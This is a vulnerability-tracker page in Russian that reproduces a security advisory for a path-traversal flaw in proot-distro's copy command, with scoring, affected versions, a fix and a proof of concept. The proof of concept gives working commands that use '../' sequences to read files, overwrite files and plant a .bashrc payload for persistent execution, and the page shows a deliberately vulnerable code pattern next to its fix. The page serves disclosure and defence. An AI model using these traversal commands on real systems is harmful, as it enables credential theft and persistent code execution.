Перейти к содержимому
Noroxi
Рекомендация экосистемы OSV

GHSA-mfr4-mq8w-vmg6: PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

СредняяCVSS 6.6 · v3.1—Эксплойта нет Есть исправление

Оценка Noroxi

Приоритет: Наблюдать (оценка срочности 26/100)

  • В отслеживаемых источниках (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) нет публичного эксплойта или записей об эксплуатации.
  • Может быть вызвана пользователем с локальным доступом к системе. Достаточно учётной записи с низкими привилегиями. Пользователь должен открыть ссылку или посетить страницу. Особые условия не требуются; воспроизводится стабильно.
  • Исправленная версия: proot-distro (PyPI) 5.1.0.

Пока низкий приоритет. Обновитесь до proot-distro (PyPI) 5.1.0 или новее.

Формируется автоматически по данным записи: CVSS (NVD и CNA), CISA KEV и SSVC, FIRST EPSS, источники эксплойтов, исправленные версии. Как мы считаем

Первоисточники: OSV

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2> Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 <hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt proot-distro copy \ ~/poc/evil.txt \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt proot-distro copy \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \ ~/poc/read_result.txt </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh proot-distro copy ~/poc/payload.sh \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre> <p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>

Опубликовано
17 июл. 2026 г.
Обновлено
17 июл. 2026 г.
EPSS
—

Инструменты для отчёта

JSON

Оценка срочности

26

Наблюдать

Пока низкий приоритет.

CVSS
26 / 40 · 6.6 / 10
CISA KEV
0 / 30 · Нет в списке
EPSS
0 / 30 · —

Узнайте, когда запись изменится

  • Нет в KEV: эксплуатация в реальных атаках не зафиксирована
  • Публичного эксплойта нет
  • Исправление выпущено

Если что-то из этого изменится, сообщим в ежедневной сводке.

Следить за GHSA-mfr4-mq8w-vmg6

Когда мы напишем

  • когда запись попадёт в CISA KEV
  • когда появится или станет боевым эксплойт
  • когда запись обновится (в том числе исправленная версия)
  • когда EPSS вырастет на 20 пунктов за неделю

Одна сводка в день по почте (06:00 UTC); с вебхуком попадание в KEV и боевые эксплойты — на платных планах раз в 10 минут, на бесплатном раз в час.

С бесплатным аккаунтом также

  • Оповещения о CVE: добавьте свои продукты и версии — новые CVE для них придут вам
  • Мониторинг сайта: 1 сайт, письмо сразу при недоступности
  • Добавьте домен: поддомены и риск захвата проверяются каждую неделю (1 домен)
  • 10 проверок в час в инструментах безопасности, не больше 30 в день (без аккаунта — 3 в день), API-ключ и MCP
  • Все сканирования в одной панели: находки, изменения с прошлого сканирования, отчёт по домену или клиенту (PDF, ссылка для просмотра)
Все бесплатные инструменты

Регистрация по почте · Уже есть аккаунт? Войти

Бесплатный аккаунт, без карты. Отписаться можно в любой момент.

Затронута ли ваша версия? Проверьте

Анализ Noroxi

Что это значит для вашей инфраструктуры?

Оценка выше формируется автоматически по данным записи и не знает вашей среды. Наша команда проверит на ваших системах, действительно ли уязвимость эксплуатируема и какой меры достаточно.

Мы используем этот продукт, нужна помощь

Затронутые системы

Затронута ли ваша версия?

Выберите продукт и введите свою версию. Она сравнивается с диапазонами этой записи прямо в браузере и никуда не отправляется.

ВендорПродукт
PyPIproot-distro

Затронутые пакеты

Данные OSV и GitHub Advisory: экосистема, пакет и диапазон. Сопоставление SBOM использует эту таблицу.

ЭкосистемаПакетЗатронутый диапазонИсправление
PyPIproot-distroдо 5.1.05.1.0

Исправление

На какую версию обновиться

Версии с исправлением по данным вендора, реестров пакетов и Microsoft. Перед обновлением сверьтесь с бюллетенем вендора.

Продукт / пакетИсправленная версияИсточник
PyPI:proot-distro5.1.0Реестр пакетов (OSV)

Статус эксплойта

Публичный эксплойт неизвестен

Публичный эксплойт пока не обнаружен. Это не значит, что вы в безопасности, лишь что порог чуть выше.

Контекст для исследователя

Для пентестеров и исследователей: профиль атаки, расхождение оценок, хронология, коммиты исправлений, авторы, кандидаты в варианты и цепочки, охват bug bounty. Всё выводится из имеющихся данных; без кода эксплойтов.

Хронология

От публикации до сегодня: proof of concept, модуль Metasploit, CISA KEV и запись об исправлении. Даты — как сообщают источники.

Кроме публикации датированных событий нет.

В записи нет: истории EPSS · ссылки на коммит или PR с исправлением · указания авторов находки · кандидатов в варианты и цепочки · публичной программы вознаграждений.

Технические детали

Условия атаки

  • Может быть вызвана пользователем с локальным доступом к системе.
  • Достаточно учётной записи с низкими привилегиями.
  • Пользователь должен открыть ссылку или посетить страницу.
  • Особые условия не требуются; воспроизводится стабильно.

В случае успеха

Конфиденциальность
высокое · данные могут быть прочитаны
Целостность
высокое · данные или конфигурация могут быть изменены
Доступность
нет
Вектор атаки
Локальный
Сложность атаки
Низкая
Требуемые привилегии
Низкие
Взаимодействие с пользователем
Требуется
Область действия
Не изменяется
Влияние на конфиденциальность
Высокое
Влияние на целостность
Высокое
Влияние на доступность
Нет

Вектор CVSS

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

osv

Первопричина

Имя файла, переданное пользователем, объединяется с разрешённым каталогом, но не проверяется, остаётся ли результат внутри этого каталога.

Ошибка в коде

Весь класс CWE-22

Показательный пример этого класса уязвимостей. Это не исходный код вендора; показан ошибочный шаблон и его исправление.

Уязвимый код

ts
const file = path.join(ROOT, req.query.name);res.sendFile(file);

Исправленный код

ts
const file = path.resolve(ROOT, req.query.name);if (!file.startsWith(ROOT + path.sep)) {  return res.sendStatus(400);}res.sendFile(file);

Контекст атаки

Шаблоны атак MITRE CAPEC и техники ATT&CK для этого класса уязвимости (CWE). Отправная точка для правил обнаружения и threat hunting.

Источники

Показать все источники (ещё 2)

Рекомендации вендоров и официальные записи. Ссылки на эксплойты/PoC намеренно исключены.

Все записи